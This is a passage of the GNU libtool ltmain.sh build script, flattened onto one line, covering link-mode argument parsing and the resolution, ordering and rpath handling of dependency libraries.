" $arg" func_append finalize_command " $arg" compiler_flags="$compiler_flags $arg" continue ;; # Some other compiler flag. -* | +*) func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" ;; *.$objext) # A standard object. objs="$objs $arg" ;; *.lo) # A libtool-controlled object. # Check to see that this really is a libtool object. if func_lalib_unsafe_p "$arg"; then pic_object= non_pic_object= # Read the .lo file func_source "$arg" if test -z "$pic_object" || test -z "$non_pic_object" || test "$pic_object" = none && test "$non_pic_object" = none; then func_fatal_error "cannot find name of object for \`$arg'" fi # Extract subdirectory from the argument. func_dirname "$arg" "/" "" xdir="$func_dirname_result" if test "$pic_object" != none; then # Prepend the subdirectory the object is found in. pic_object="$xdir$pic_object" if test "$prev" = dlfiles; then if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then dlfiles="$dlfiles $pic_object" prev= continue else # If libtool objects are unsupported, then we need to preload. prev=dlprefiles fi fi # CHECK ME: I think I busted this. -Ossama if test "$prev" = dlprefiles; then # Preload the old-style object. dlprefiles="$dlprefiles $pic_object" prev= fi # A PIC object. func_append libobjs " $pic_object" arg="$pic_object" fi # Non-PIC object. if test "$non_pic_object" != none; then # Prepend the subdirectory the object is found in. non_pic_object="$xdir$non_pic_object" # A standard non-PIC object func_append non_pic_objects " $non_pic_object" if test -z "$pic_object" || test "$pic_object" = none ; then arg="$non_pic_object" fi else # If the PIC object exists, use it instead. # $xdir was prepended to $pic_object above. non_pic_object="$pic_object" func_append non_pic_objects " $non_pic_object" fi else # Only an error if not doing a dry-run. if $opt_dry_run; then # Extract subdirectory from the argument. func_dirname "$arg" "/" "" xdir="$func_dirname_result" func_lo2o "$arg" pic_object=$xdir$objdir/$func_lo2o_result non_pic_object=$xdir$func_lo2o_result func_append libobjs " $pic_object" func_append non_pic_objects " $non_pic_object" else func_fatal_error "\`$arg' is not a valid libtool object" fi fi ;; *.$libext) # An archive. deplibs="$deplibs $arg" old_deplibs="$old_deplibs $arg" continue ;; *.la) # A libtool-controlled library. if test "$prev" = dlfiles; then # This library was specified with -dlopen. dlfiles="$dlfiles $arg" prev= elif test "$prev" = dlprefiles; then # The library was specified with -dlpreopen. dlprefiles="$dlprefiles $arg" prev= else deplibs="$deplibs $arg" fi continue ;; # Some other compiler argument. *) # Unknown arguments in both finalize_command and compile_command need # to be aesthetically quoted because they are evaled later. func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" ;; esac # arg # Now actually substitute the argument into the commands. if test -n "$arg"; then func_append compile_command " $arg" func_append finalize_command " $arg" fi done # argument parsing loop test -n "$prev" && \ func_fatal_help "the \`$prevarg' option requires an argument" if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then eval arg=\"$export_dynamic_flag_spec\" func_append compile_command " $arg" func_append finalize_command " $arg" fi oldlibs= # calculate the name of the file, without its directory func_basename "$output" outputname="$func_basename_result" libobjs_save="$libobjs" if test -n "$shlibpath_var"; then # get the directories listed in $shlibpath_var eval shlib_search_path=\`\$ECHO \"X\${$shlibpath_var}\" \| \$Xsed -e \'s/:/ /g\'\` else shlib_search_path= fi eval sys_lib_search_path=\"$sys_lib_search_path_spec\" eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\" func_dirname "$output" "/" "" output_objdir="$func_dirname_result$objdir" # Create the object directory. func_mkdir_p "$output_objdir" # Determine the type of output case $output in "") func_fatal_help "you must specify an output file" ;; *.$libext) linkmode=oldlib ;; *.lo | *.$objext) linkmode=obj ;; *.la) linkmode=lib ;; *) linkmode=prog ;; # Anything else should be a program. esac specialdeplibs= libs= # Find all interdependent deplibs by searching for libraries # that are linked more than once (e.g. -la -lb -la) for deplib in $deplibs; do if $opt_duplicate_deps ; then case "$libs " in *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; esac fi libs="$libs $deplib" done if test "$linkmode" = lib; then libs="$predeps $libs $compiler_lib_search_path $postdeps" # Compute libraries that are listed more than once in $predeps # $postdeps and mark them as special (i.e., whose duplicates are # not to be eliminated). pre_post_deps= if $opt_duplicate_compiler_generated_deps; then for pre_post_dep in $predeps $postdeps; do case "$pre_post_deps " in *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;; esac pre_post_deps="$pre_post_deps $pre_post_dep" done fi pre_post_deps= fi deplibs= newdependency_libs= newlib_search_path= need_relink=no # whether we're linking any uninstalled libtool libraries notinst_deplibs= # not-installed libtool libraries notinst_path= # paths that contain not-installed libtool libraries case $linkmode in lib) passes="conv dlpreopen link" for file in $dlfiles $dlprefiles; do case $file in *.la) ;; *) func_fatal_help "libraries can \`-dlopen' only libtool libraries: $file" ;; esac done ;; prog) compile_deplibs= finalize_deplibs= alldeplibs=no newdlfiles= newdlprefiles= passes="conv scan dlopen dlpreopen link" ;; *) passes="conv" ;; esac for pass in $passes; do # The preopen pass in lib mode reverses $deplibs; put it back here # so that -L comes before libs that need it for instance... if test "$linkmode,$pass" = "lib,link"; then ## FIXME: Find the place where the list is rebuilt in the wrong ## order, and fix it there properly tmp_deplibs= for deplib in $deplibs; do tmp_deplibs="$deplib $tmp_deplibs" done deplibs="$tmp_deplibs" fi if test "$linkmode,$pass" = "lib,link" || test "$linkmode,$pass" = "prog,scan"; then libs="$deplibs" deplibs= fi if test "$linkmode" = prog; then case $pass in dlopen) libs="$dlfiles" ;; dlpreopen) libs="$dlprefiles" ;; link) libs="$deplibs %DEPLIBS% $dependency_libs" ;; esac fi if test "$linkmode,$pass" = "lib,dlpreopen"; then # Collect and forward deplibs of preopened libtool libs for lib in $dlprefiles; do # Ignore non-libtool-libs dependency_libs= case $lib in *.la) func_source "$lib" ;; esac # Collect preopened libtool deplibs, except any this library # has declared as weak libs for deplib in $dependency_libs; do deplib_base=`$ECHO "X$deplib" | $Xsed -e "$basename"` case " $weak_libs " in *" $deplib_base "*) ;; *) deplibs="$deplibs $deplib" ;; esac done done libs="$dlprefiles" fi if test "$pass" = dlopen; then # Collect dlpreopened libraries save_deplibs="$deplibs" deplibs= fi for deplib in $libs; do lib= found=no case $deplib in -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe|-threads) if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else compiler_flags="$compiler_flags $deplib" if test "$linkmode" = lib ; then case "$new_inherited_linker_flags " in *" $deplib "*) ;; * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;; esac fi fi continue ;; -l*) if test "$linkmode" != lib && test "$linkmode" != prog; then func_warning "\`-l' is ignored for archives/objects" continue fi func_stripname '-l' '' "$deplib" name=$func_stripname_result if test "$linkmode" = lib; then searchdirs="$newlib_search_path $lib_search_path $compiler_lib_search_dirs $sys_lib_search_path $shlib_search_path" else searchdirs="$newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path" fi for searchdir in $searchdirs; do for search_ext in .la $std_shrext .so .a; do # Search the libtool library lib="$searchdir/lib${name}${search_ext}" if test -f "$lib"; then if test "$search_ext" = ".la"; then found=yes else found=no fi break 2 fi done done if test "$found" != yes; then # deplib doesn't seem to be a libtool library if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else deplibs="$deplib $deplibs" test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" fi continue else # deplib is a libtool library # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib, # We need to do some special things here, and not later. if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then case " $predeps $postdeps " in *" $deplib "*) if func_lalib_p "$lib"; then library_names= old_library= func_source "$lib" for l in $old_library $library_names; do ll="$l" done if test "X$ll" = "X$old_library" ; then # only static version available found=no func_dirname "$lib" "" "." ladir="$func_dirname_result" lib=$ladir/$old_library if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else deplibs="$deplib $deplibs" test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" fi continue fi fi ;; *) ;; esac fi fi ;; # -l *.ltframework) if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else deplibs="$deplib $deplibs" if test "$linkmode" = lib ; then case "$new_inherited_linker_flags " in *" $deplib "*) ;; * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;; esac fi fi continue ;; -L*) case $linkmode in lib) deplibs="$deplib $deplibs" test "$pass" = conv && continue newdependency_libs="$deplib $newdependency_libs" func_stripname '-L' '' "$deplib" newlib_search_path="$newlib_search_path $func_stripname_result" ;; prog) if test "$pass" = conv; then deplibs="$deplib $deplibs" continue fi if test "$pass" = scan; then deplibs="$deplib $deplibs" else compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" fi func_stripname '-L' '' "$deplib" newlib_search_path="$newlib_search_path $func_stripname_result" ;; *) func_warning "\`-L' is ignored for archives/objects" ;; esac # linkmode continue ;; # -L -R*) if test "$pass" = link; then func_stripname '-R' '' "$deplib" dir=$func_stripname_result # Make sure the xrpath contains only unique directories. case "$xrpath " in *" $dir "*) ;; *) xrpath="$xrpath $dir" ;; esac fi deplibs="$deplib $deplibs" continue ;; *.la) lib="$deplib" ;; *.$libext) if test "$pass" = conv; then deplibs="$deplib $deplibs" continue fi case $linkmode in lib) # Linking convenience modules into shared libraries is allowed, # but linking other static libraries is non-portable. case " $dlpreconveniencelibs " in *" $deplib "*) ;; *) valid_a_lib=no case $deplibs_check_method in match_pattern*) set dummy $deplibs_check_method; shift match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"` if eval "\$ECHO \"X$deplib\"" 2>/dev/null | $Xsed -e 10q \ | $EGREP "$match_pattern_regex" > /dev/null; then valid_a_lib=yes fi ;; pass_all) valid_a_lib=yes ;; esac if test "$valid_a_lib" != yes; then $ECHO $ECHO "*** Warning: Trying to link with static lib archive $deplib." $ECHO "*** I have the capability to make that library automatically link in when" $ECHO "*** you link to this library. But I can only do this if you have a" $ECHO "*** shared version of the library, which you do not appear to have" $ECHO "*** because the file extensions .$libext of this argument makes me believe" $ECHO "*** that it is just a static archive that I should not use here." else $ECHO $ECHO "*** Warning: Linking the shared library $output against the" $ECHO "*** static library $deplib is not portable!" deplibs="$deplib $deplibs" fi ;; esac continue ;; prog) if test "$pass" != link; then deplibs="$deplib $deplibs" else compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" fi continue ;; esac # linkmode ;; # *.$libext *.lo | *.$objext) if test "$pass" = conv; then deplibs="$deplib $deplibs" elif test "$linkmode" = prog; then if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then # If there is no dlopen support or we're linking statically, # we need to preload. newdlprefiles="$newdlprefiles $deplib" compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else newdlfiles="$newdlfiles $deplib" fi fi continue ;; %DEPLIBS%) alldeplibs=yes continue ;; esac # case $deplib if test "$found" = yes || test -f "$lib"; then : else func_fatal_error "cannot find the library \`$lib' or unhandled argument \`$deplib'" fi # Check to see that this really is a libtool archive. func_lalib_unsafe_p "$lib" \ || func_fatal_error "\`$lib' is not a valid libtool archive" func_dirname "$lib" "" "." ladir="$func_dirname_result" dlname= dlopen= dlpreopen= libdir= library_names= old_library= inherited_linker_flags= # If the library was installed with an old release of libtool, # it will not redefine variables installed, or shouldnotlink installed=yes shouldnotlink=no avoidtemprpath= # Read the .la file func_source "$lib" # Convert "-framework foo" to "foo.ltframework" if test -n "$inherited_linker_flags"; then tmp_inherited_linker_flags=`$ECHO "X$inherited_linker_flags" | $Xsed -e 's/-framework \([^ $]*\)/\1.ltframework/g'` for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do case " $new_inherited_linker_flags " in *" $tmp_inherited_linker_flag "*) ;; *) new_inherited_linker_flags="$new_inherited_linker_flags $tmp_inherited_linker_flag";; esac done fi dependency_libs=`$ECHO "X $dependency_libs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'` if test "$linkmode,$pass" = "lib,link" || test "$linkmode,$pass" = "prog,scan" || { test "$linkmode" != prog && test "$linkmode" != lib; }; then test -n "$dlopen" && dlfiles="$dlfiles $dlopen" test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen" fi if test "$pass" = conv; then # Only check for convenience libraries deplibs="$lib $deplibs" if test -z "$libdir"; then if test -z "$old_library"; then func_fatal_error "cannot find name of link library for \`$lib'" fi # It is a libtool convenience library, so add in its objects. convenience="$convenience $ladir/$objdir/$old_library" old_convenience="$old_convenience $ladir/$objdir/$old_library" elif test "$linkmode" != prog && test "$linkmode" != lib; then func_fatal_error "\`$lib' is not a convenience library" fi tmp_libs= for deplib in $dependency_libs; do deplibs="$deplib $deplibs" if $opt_duplicate_deps ; then case "$tmp_libs " in *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; esac fi tmp_libs="$tmp_libs $deplib" done continue fi # $pass = conv # Get the name of the library we link against. linklib= for l in $old_library $library_names; do linklib="$l" done if test -z "$linklib"; then func_fatal_error "cannot find name of link library for \`$lib'" fi # This library was specified with -dlopen. if test "$pass" = dlopen; then if test -z "$libdir"; then func_fatal_error "cannot -dlopen a convenience library: \`$lib'" fi if test -z "$dlname" || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then # If there is no dlname, no dlopen support or we're linking # statically, we need to preload. We also need to preload any # dependent libraries so libltdl's deplib preloader doesn't # bomb out in the load deplibs phase. dlprefiles="$dlprefiles $lib $dependency_libs" else newdlfiles="$newdlfiles $lib" fi continue fi # $pass = dlopen # We need an absolute path. case $ladir in [\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;; *) abs_ladir=`cd "$ladir" && pwd` if test -z "$abs_ladir"; then func_warning "cannot determine absolute directory name of \`$ladir'" func_warning "passing it literally to the linker, although it might fail" abs_ladir="$ladir" fi ;; esac func_basename "$lib" laname="$func_basename_result" # Find the relevant object directory and library name. if test "X$installed" = Xyes; then if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then func_warning "library \`$lib' was moved." dir="$ladir" absdir="$abs_ladir" libdir="$abs_ladir" else dir="$libdir" absdir="$libdir" fi test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes else if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then dir="$ladir" absdir="$abs_ladir" # Remove this search path later notinst_path="$notinst_path $abs_ladir" else dir="$ladir/$objdir" absdir="$abs_ladir/$objdir" # Remove this search path later notinst_path="$notinst_path $abs_ladir" fi fi # $installed = yes func_stripname 'lib' '.la' "$laname" name=$func_stripname_result # This library was specified with -dlpreopen. if test "$pass" = dlpreopen; then if test -z "$libdir" && test "$linkmode" = prog; then func_fatal_error "only libraries may -dlpreopen a convenience library: \`$lib'" fi # Prefer using a static library (so that no silly _DYNAMIC symbols # are required to link). if test -n "$old_library"; then newdlprefiles="$newdlprefiles $dir/$old_library" # Keep a list of preopened convenience libraries to check # that they are being used correctly in the link pass. test -z "$libdir" && \ dlpreconveniencelibs="$dlpreconveniencelibs $dir/$old_library" # Otherwise, use the dlname, so that lt_dlopen finds it. elif test -n "$dlname"; then newdlprefiles="$newdlprefiles $dir/$dlname" else newdlprefiles="$newdlprefiles $dir/$linklib" fi fi # $pass = dlpreopen if test -z "$libdir"; then # Link the convenience library if test "$linkmode" = lib; then deplibs="$dir/$old_library $deplibs" elif test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$dir/$old_library $compile_deplibs" finalize_deplibs="$dir/$old_library $finalize_deplibs" else deplibs="$lib $deplibs" # used for prog,scan pass fi continue fi if test "$linkmode" = prog && test "$pass" != link; then newlib_search_path="$newlib_search_path $ladir" deplibs="$lib $deplibs" linkalldeplibs=no if test "$link_all_deplibs" != no || test -z "$library_names" || test "$build_libtool_libs" = no; then linkalldeplibs=yes fi tmp_libs= for deplib in $dependency_libs; do case $deplib in -L*) func_stripname '-L' '' "$deplib" newlib_search_path="$newlib_search_path $func_stripname_result" ;; esac # Need to link against all dependency_libs? if test "$linkalldeplibs" = yes; then deplibs="$deplib $deplibs" else # Need to hardcode shared library paths # or/and link against static libraries newdependency_libs="$deplib $newdependency_libs" fi if $opt_duplicate_deps ; then case "$tmp_libs " in *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; esac fi tmp_libs="$tmp_libs $deplib" done # for deplib continue fi # $linkmode = prog... if test "$linkmode,$pass" = "prog,link"; then if test -n "$library_names" && { { test "$prefer_static_libs" = no || test "$prefer_static_libs,$installed" = "built,yes"; } || test -z "$old_library"; }; then # We need to hardcode the library path if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then # Make sure the rpath contains only unique directories. case "$temp_rpath:" in *"$absdir:"*) ;; *) temp_rpath="$temp_rpath$absdir:" ;; esac fi # Hardcode the library path. # Skip directories that are in the system default run-time # search path. case " $sys_lib_dlsearch_path " in *" $absdir "*) ;; *) case "$compile_rpath " in *" $absdir "*) ;; *) compile_rpath="$compile_rpath $absdir" esac ;; esac case " $sys_lib_dlsearch_path " in *" $libdir "*) ;; *) case "$finalize_rpath " in *" $libdir "*) ;; *) finalize_rpath="$finalize_rpath $libdir" esac ;; esac fi # $linkmode,$pass = prog,link... if test "$alldeplibs" = yes && { test "$deplibs_check_method" = pass_all || { test "$build_libtool_libs" = yes && test -n "$library_names"; }; }; then # We only need to search for static libraries continue fi fi link_static=no # Whether the deplib will be linked statically use_static_libs=$prefer_static_libs if test "$use_static_libs" = built && test "$installed" = yes; then use_static_libs=no fi if test -n "$library_names" && { test "$use_static_libs" = no || test -z "$old_library"; }; then case $host in *cygwin* | *mingw* | *cegcc*) # No point in relinking DLLs because paths are not encoded notinst_deplibs="$notinst_deplibs $lib" need_relink=no ;; *) if test "$installed" = no; then notinst_deplibs="$notinst_deplibs $lib" need_relink=yes fi ;; esac # This is a shared library # Warn about portability, can't link against -module's on some # systems (darwin). Don't bleat about dlopened modules though! dlopenmodule="" for dlpremoduletest in $dlprefiles; do if test "X$dlpremoduletest" = "X$lib"; then dlopenmodule="$dlpremoduletest" break fi done if test -z "$dlopenmodule" && test "$shouldnotlink" = yes && test "$pass" = link; then $ECHO if test "$linkmode" = prog; then $ECHO "*** Warning: Linking the executable $output against the loadable module" else $ECHO "*** Warning: Linking the shared library $output against the loadable module" fi $ECHO "*** $linklib is not portable!" fi if test "$linkmode" = lib && test "$hardcode_into_libs" = yes; then # Hardcode the library path. # Skip directories that are in the system default run-time # search path. case " $sys_lib_dlsearch_path " in *" $absdir "*) ;; *) case "$compile_rpath " in *" $absdir "*) ;; *) compile_rpath="$compile_rpath $absdir" esac ;; esac case " $sys_lib_dlsearch_path " in *" $libdir "*) ;; *) case "$finalize_rpath " in *" $libdir "*) ;; *) finalize_rpath="$finalize_rpath $libdir" esac ;; esac fi if test -n "$old_archive_from_expsyms_cmds"; then # figure out the soname set dummy $library_names shift realname="$1" shift libname=`eval "\\$ECHO \"$libname_spec\""` # use dlname if we got it. it's perfectly good, no? if test -n "$dlname"; then soname="$dlname" elif test -n "$soname_spec"; then # bleh windows case $host in *cygwin* | mingw* | *cegcc*) func_arith $current - $age major=$func_arith_result versuffix="-$major" ;; esac eval soname=\"$soname_spec\" else soname="$realname" fi # Make a new name for the extract_expsyms_cmds to use soroot="$soname" func_basename "$soroot" soname="$func_basename_result" func_stripname 'lib' '.dll' "$soname" newlib=libimp-$func_stripname_result.a # If the library has no export list, then create one now if test -f "$output_objdir/$soname-def"; then : else func_verbose "extracting exported symbol list from \`$soname'" func_execute_cmds "$extract_expsyms_cmds" 'exit $?' fi # Create $newlib if test -f "$output_objdir/$newlib"; then :; else func_verbose "generating import library for \`$soname'" func_execute_cmds "$old_archive_from_expsyms_cmds" 'exit $?' fi # make sure the library variables are pointing to the new library dir=$output_objdir linklib=$newlib fi # test -n "$old_archive_from_expsyms_cmds" if test "$linkmode" = prog || test "$mode" != relink; then add_shlibpath= add_dir= add= lib_linked=yes case $hardcode_action in immediate | unsupported) if test "$hardcode_direct" = no; then add="$dir/$linklib" case $host in *-*-sco3.2v5.0.[024]*) add_dir="-L$dir" ;; *-*-sysv4*uw2*) add_dir="-L$dir" ;; *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \ *-*-unixware7*) add_dir="-L$dir" ;; *-*-darwin* ) # if the lib is a (non-dlopened) module then we can not # link against it, someone is ignoring the earlier warnings if /usr/bin/file -L $add 2> /dev/null | $GREP ": [^:]* bundle" >/dev/null ; then if test "X$dlopenmodule" != "X$lib"; then $ECHO "*** Warning: lib $linklib is a module, not a shared library" if test -z "$old_library" ; then $ECHO $ECHO "*** And there doesn't seem to be a static archive available" $ECHO "*** The link will probably fail, sorry" else add="$dir/$old_library" fi elif test -n "$old_library"; then add="$dir/$old_library" fi fi esac elif test "$hardcode_minus_L" = no; then case $host in *-*-sunos*) add_shlibpath="$dir" ;; esac add_dir="-L$dir" add="-l$name" elif test "$hardcode_shlibpath_var" = no; then add_shlibpath="$dir" add="-l$name" else lib_linked=no fi ;; relink) if test "$hardcode_direct" = yes && test "$hardcode_direct_absolute" = no; then add="$dir/$linklib" elif test "$hardcode_minus_L" = yes; then add_dir="-L$dir" # Try looking first in the location we're being installed to. if test -n "$inst_prefix_dir"; then case $libdir in [\\/]*) add_dir="$add_dir -L$inst_prefix_dir$libdir" ;; esac fi add="-l$name" elif test "$hardcode_shlibpath_var" = yes; then add_shlibpath="$dir" add="-l$name" else lib_linked=no fi ;; *) lib_linked=no ;; esac if test "$lib_linked" != yes; then func_fatal_configuration "unsupported hardcode properties" fi if test -n "$add_shlibpath"; then case :$compile_shlibpath: in *":$add_shlibpath:"*) ;; *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;; esac fi if test "$linkmode" = prog; then test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs" test -n "$add" && compile_deplibs="$add $compile_deplibs" else test -n "$add_dir" && deplibs="$add_dir $deplibs" test -n "$add" && deplibs="$add $deplibs" if test "$hardcode_direct" != yes && test "$hardcode_minus_L" != yes && test "$hardcode_shlibpath_var" = yes; then case :$finalize_shlibpath: in *":$libdir:"*) ;; *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; esac fi fi fi if test "$linkmode" = prog || test "$mode" = relink; then add_shlibpath= add_dir= add= # Finalize command for both is simple: just hardcode it. if test "$hardcode_direct" = yes && test "$hardcode_direct_absolute" = no; then add="$libdir/$linklib" elif test "$hardcode_minus_L" = yes; then add_dir="-L$libdir" add="-l$name" elif test "$hardcode_shlibpath_var" = yes; then case :$finalize_shlibpath: in *":$libdir:"*) ;; *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;; esac add="-l$name" elif test "$hardcode_automatic" = yes; then if test -n "$inst_prefix_dir" && test -f "$inst_prefix_dir$libdir/$linklib" ; then add="$inst_prefix_dir$libdir/$linklib" else add="$libdir/$linklib" fi else # We cannot seem to hardcode it, guess we'll fake it. add_dir="-L$libdir" # Try looking first in the location we're being installed to. if test -n "$inst_prefix_dir"; then case $libdir in [\\/]*) add_dir="$add_dir -L$inst_prefix_dir$libdir" ;; esac fi add="-l$name" fi if test "$linkmode" = prog; then test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs" test -n "$add" && finalize_deplibs="$add $finalize_deplibs" else test -n "$add_dir" && deplibs="$add_dir $deplibs" test -n "$add" && deplibs="$add $deplibs" fi fi elif test "$linkmode" = prog; then # Here we assume that one of hardcode_direct or hardcode_minus_L # is not unsupported. This is valid on all known static and # shared platforms. if test "$hardcode_direct" != unsupported; then test -n "$old_library" && linklib="$old_library" compile_deplibs="$dir/$linklib $compile_deplibs" finalize_deplibs="$dir/$linklib $finalize_deplibs" else compile_deplibs="-l$name -L$dir $compile_deplibs" finalize_deplibs="-l$name -L$dir $finalize_deplibs" fi elif test "$build_libtool_libs" = yes; then # Not a shared library if test "$deplibs_check_method" != pass_all; then # We're trying link a shared library against a static one # but the system doesn't support it. # Just print a warning and add the library to dependency_libs so # that the program can be linked against the static library. $ECHO $ECHO "*** Warning: This system can not link to static lib archive $lib." $ECHO "*** I have the capability to make that library automatically link in when" $ECHO "*** you link to this library. But I can only do this if you have a" $ECHO "*** shared version of the library, which you do not appear to have." if test "$module" = yes; then $ECHO "*** But as you try to build a module library, libtool will still create " $ECHO "*** a static module, that should work as long as the dlopening application" $ECHO "*** is linked with the -dlopen flag to resolve symbols at runtime." if test -z "$global_symbol_pipe"; then $ECHO $ECHO "*** However, this would only work if libtool was able to extract symbol" $ECHO "*** lists from a program, using \`nm' or equivalent, but libtool could" $ECHO "*** not find such a program. So, this module is probably useless." $ECHO "*** \`nm' from GNU binutils and a full rebuild may help." fi if test "$build_old_libs" = no; then build_libtool_libs=module build_old_libs=yes else build_libtool_libs=no fi fi else deplibs="$dir/$old_library $deplibs" link_static=yes fi fi # link shared/static library? if test "$linkmode" = lib; then if test -n "$dependency_libs" && { test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes || test "$link_static" = yes; }; then # Extract -R from dependency_libs temp_deplibs= for libdir in $dependency_libs; do case $libdir in -R*) func_stripname '-R' '' "$libdir" temp_xrpath=$func_stripname_result case " $xrpath " in *" $temp_xrpath "*) ;; *) xrpath="$xrpath $temp_xrpath";; esac;; *) temp_deplibs="$temp_deplibs $libdir";; esac done dependency_libs="$temp_deplibs" fi newlib_search_path="$newlib_search_path $absdir" # Link against this library test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs" # ... and its dependency_libs tmp_libs= for deplib in $dependency_libs; do newdependency_libs="$deplib $newdependency_libs" if $opt_duplicate_deps ; then case "$tmp_libs " in *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; esac fi tmp_libs="$tmp_libs $deplib" done if test "$link_all_deplibs" != no; then # Add the search paths of all dependency libraries for deplib in $dependency_libs; do case $deplib in -L*) path="$deplib" ;; *.la) func_dirname "$deplib" "" "." dir="$func_dirname_result" # We need an absolute path. case $dir in [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;; *) absdir=`cd "$dir" && pwd` if test -z "$absdir"; then func_warning "cannot determine absolute directory name of \`$dir'" absdir="$dir" fi ;; esac if $GREP "^installed=no" $deplib > /dev/null; then case $host in *-*-darwin*) depdepl= eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib` if test -n "$deplibrary_names" ; then for tmp in $deplibrary_names ; do depdepl=$tmp done if test -f "$absdir/$objdir/$depdepl" ; then depdepl="$absdir/$objdir/$depdepl" darwin_install_name=`${OTOOL} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'` if test -z "$darwin_install_name"; then darwin_install_name=`${OTOOL64} -L $depdepl | awk '{if (NR == 2) {print $1;exit}}'` fi compiler_flags="$compiler_flags ${wl}-dylib_file ${wl}${darwin_install_name}:${depdepl}" linker_flags="$linker_flags -dylib_file ${darwin_install_name}:${depdepl}" path= fi fi ;; *) path="-L$absdir/$objdir" ;; esac else eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib` test -z "$libdir" && \ func_fatal_error "\`$deplib' is not a valid libtool archive" test "$absdir" != "$libdir" && \ func_warning "\`$deplib' seems to be moved" path="-L$absdir" fi ;; esac case " $deplibs " in *" $path "*) ;; *) deplibs="$path $deplibs" ;; esac done fi # link_all_deplibs != no fi # linkmode = lib done # for deplib in $libs if test "$pass" = link; then if test "$linkmode" = "prog"; then compile_deplibs="$new_inherited_linker_flags $compile_deplibs" finalize_deplibs="$new_inherited_linker_flags $finalize_deplibs" else compiler_flags="$compiler_flags "`$ECHO "X $new_inherited_linker_flags" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'` fi fi dependency_libs="$newdependency_libs" if test "$pass" = dlpreopen; then # Link the dlpreopened libraries before other libraries for deplib in $save_deplibs; do deplibs="$deplib $deplibs" done fi if test "$pass" != dlopen; then if test "$pass" != conv; then # Make sure lib_search_path contains only unique directories. lib_search_path= for dir in $newlib_search_path; do case "$lib_search_path " in *" $dir "*) ;; *) lib_search_path="$lib_search_path $dir" ;; esac done newlib_search_path= fi if test "$linkmode,$pass" != "prog,link"; then vars="deplibs" else vars="compile_deplibs finalize_deplibs" fi for var in $vars dependency_libs; do # Add libraries to $var in reverse order eval tmp_libs=\"\$$var\" new_libs= for deplib in $tmp_libs; do # FIXME: Pedantically, this is the right thing to do, so # that some nasty dependency loop isn't accidentally # broken: #new_libs="$deplib $new_libs" # Pragmatically, this seems to cause very few problems in # practice: case $deplib in -L*) new_libs="$deplib $new_libs" ;; -R*) ;; *) # And here is the reason: when a library appears more # than once as an explicit dependence of a library, or # is implicitly linked in more than once by the # compiler, it is considered special, and multiple # occurrences thereof are not removed. Compare this # with having the same library being listed as a # dependency of multiple other libraries: in this case, # we know (pedantically, we assume) the library does not # need to be listed more than once, so we keep only the # last copy. This is not always right, but it is rare # enough that we require users that really mean to play # such unportable linking tricks to link the library # using -Wl,-lname, so that libtool does not consider it # for duplicate removal. case " $specialdeplibs " in *" $deplib "*) new_libs="$deplib $new_libs" ;; *) case " $new_libs " in *" $deplib "*) ;; *) new_libs="$deplib $new_libs" ;; esac ;; esac ;; esac done tmp_libs= for deplib in $new_libs; do case $deplib in -L*) case " $tmp_libs " in *" $deplib "*) ;; *) tmp_libs="$tmp_libs $deplib" ;; esac ;; *) tmp_libs="$tmp_libs $deplib" ;; esac done eval $var=\"$tmp_libs\" done # for var fi # Last step: remove runtime libs from dependency_libs # (they stay in deplibs) tmp_libs= for i in $dependency_libs ; do case " $predeps $postdeps 